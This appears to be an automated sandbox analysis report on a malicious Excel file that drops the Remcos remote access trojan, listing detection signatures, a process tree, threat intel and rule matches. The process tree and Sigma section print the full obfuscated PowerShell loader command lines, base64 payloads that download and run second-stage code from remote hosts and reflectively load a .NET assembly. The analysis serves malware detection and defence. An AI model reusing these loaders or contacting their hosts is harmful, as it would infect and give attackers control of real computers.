Edit tour

Windows Analysis Report
Cot90012ARCACONTAL.xls

Overview

General Information

Sample name:	Cot90012ARCACONTAL.xls
Analysis ID:	1574074
MD5:	9e57f8d11355afc490feb9cb415165d3
SHA1:	f63ad72689cdabc1aa7629a1170debb01f40c207
SHA256:	60e0542a30b9379d93ab606396a96476b7d7f40a0b870fa648911eb66bed1348
Tags:	xlsuser-abuse_ch
Infos:

Detection

Remcos

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected Remcos RAT

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Remcos

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected obfuscated html page

Connects to a pastebin service (likely for C&C)

Document exploit detected (process start blacklist hit)

Excel sheet contains many unusual embedded objects

Injects a PE file into a foreign processes

Installs new ROOT certificates

Microsoft Office drops suspicious files

PowerShell case anomaly found

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: File With Uncommon Extension Created By An Office Application

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Microsoft Office Child Process

Sigma detected: WScript or CScript Dropper

Suspicious command line found

Suspicious execution chain found

Suspicious powershell command line found

Uses dynamic DNS services

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Document contains embedded VBA macros

Document embeds suspicious OLE2 link

Drops PE files

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Excel Network Connections

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Suspicious Office Outbound Connections

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 3276 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

mshta.exe (PID: 3568 cmdline: C:\Windows\System32\mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5)

cmd.exe (PID: 3672 cmdline: "C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

powershell.exe (PID: 3696 cmdline: PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

csc.exe (PID: 3836 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\40h2inb3\40h2inb3.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1)

cvtres.exe (PID: 3844 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES474.tmp" "c:\Users\user\AppData\Local\Temp\40h2inb3\CSC48DBA3EBDCD44EA8BEA847E1C793E7D2.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

wscript.exe (PID: 3928 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS" MD5: 045451FA238A75305CC26AC982472367)

powershell.exe (PID: 3968 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICRzdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnMScsJyRoZXRlcm9icmFuY2hpYScpKTs=';$choleate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($isohemolytic));Invoke-Expression $choleate MD5: A575A7610E5F003CC36DF39E07C4BA7D)

CasPol.exe (PID: 3452 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61)

mshta.exe (PID: 2504 cmdline: C:\Windows\System32\mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5)

cmd.exe (PID: 2120 cmdline: "C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)

powershell.exe (PID: 1216 cmdline: PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

csc.exe (PID: 1056 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sajgx3ks\sajgx3ks.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1)

cvtres.exe (PID: 2216 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5216.tmp" "c:\Users\user\AppData\Local\Temp\sajgx3ks\CSC55704BF691DD479D8D12F35E2CEB2B9C.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

wscript.exe (PID: 1180 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS" MD5: 045451FA238A75305CC26AC982472367)

powershell.exe (PID: 3344 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICRzdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnMScsJyRoZXRlcm9icmFuY2hpYScpKTs=';$choleate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($isohemolytic));Invoke-Expression $choleate MD5: A575A7610E5F003CC36DF39E07C4BA7D)

DW20.EXE (PID: 2192 cmdline: "C:\PROGRA~1\COMMON~1\MICROS~1\DW\DW20.EXE" -x -s 2156 MD5: 1DF27C36590E9AA7555D7123A892338B)

DWWIN.EXE (PID: 1960 cmdline: C:\Windows\system32\dwwin.exe -x -s 2156 MD5: 25247E3C4E7A7A73BAEEA6C0008952B1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Remcos, RemcosRAT	Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.	APT33 The Gorgon Group UAC-0050	http://malware-traffic-analysis.net/2017/12/22/index.html https://0xmrmagnezi.github.io/malware%20analysis/RemcosRAT/ https://asec.ahnlab.com/en/32376/ https://asec.ahnlab.com/ko/25837/ https://asec.ahnlab.com/ko/32101/	https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\creamkissingthingswithcreambananapackagecreamy[1].hta	JoeSecurity_Obshtml	Yara detected obfuscated html page	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 3968	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 3968	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x26fd:$b2: ::FromBase64String( 0x9f7f:$b2: ::FromBase64String( 0xd8ee:$b2: ::FromBase64String( 0xd95c:$b2: ::FromBase64String( 0xece2:$b2: ::FromBase64String( 0xf34e:$b2: ::FromBase64String( 0x10801:$b2: ::FromBase64String( 0x10e6b:$b2: ::FromBase64String( 0x463b3:$b2: ::FromBase64String( 0x5fbd7:$b2: ::FromBase64String( 0xb4a6f:$b2: ::FromBase64String( 0xb5237:$b2: ::FromBase64String( 0x26dc:$b3: ::UTF8.GetString( 0x9f5e:$b3: ::UTF8.GetString( 0xd93b:$b3: ::UTF8.GetString( 0xecc1:$b3: ::UTF8.GetString( 0xf32d:$b3: ::UTF8.GetString( 0x107e0:$b3: ::UTF8.GetString( 0x10e4a:$b3: ::UTF8.GetString( 0x461f6:$b3: ::UTF8.GetString( 0x5fbb6:$b3: ::UTF8.GetString(
Process Memory Space: powershell.exe PID: 3344	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 3344	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1f504:$b2: ::FromBase64String( 0x26d9d:$b2: ::FromBase64String( 0x4650f:$b2: ::FromBase64String( 0x46b79:$b2: ::FromBase64String( 0x5f497:$b2: ::FromBase64String( 0x7c0f9:$b2: ::FromBase64String( 0x7c167:$b2: ::FromBase64String( 0x7d572:$b2: ::FromBase64String( 0x7dbde:$b2: ::FromBase64String( 0x7e962:$b2: ::FromBase64String( 0xb3c05:$b2: ::FromBase64String( 0xb438b:$b2: ::FromBase64String( 0xb49fc:$b2: ::FromBase64String( 0x1f4e3:$b3: ::UTF8.GetString( 0x26d7c:$b3: ::UTF8.GetString( 0x464ee:$b3: ::UTF8.GetString( 0x46b58:$b3: ::UTF8.GetString( 0x5f2da:$b3: ::UTF8.GetString( 0x7c146:$b3: ::UTF8.GetString( 0x7d551:$b3: ::UTF8.GetString( 0x7dbbd:$b3: ::UTF8.GetString(

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICRzdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOy